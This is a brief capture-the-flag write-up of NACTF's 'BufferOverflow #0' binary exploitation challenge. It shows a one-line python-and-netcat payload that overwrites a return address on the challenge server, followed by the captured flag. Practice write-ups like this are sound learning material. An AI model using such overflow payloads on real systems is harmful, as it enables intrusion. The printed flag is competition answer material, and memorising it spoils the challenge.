bufferoverflow-0

BufferOverflow #0

Binary Exploitation - Points: 100

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Can you cause a segfault and get the flag?

shell.2019.nactf.com:31475

bufover-0

bufover-0.c

$ python -c 'print("A"*20+"\xc2\x91\x04\x08")' | nc ingress.cluster.nactf.com 31475

flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}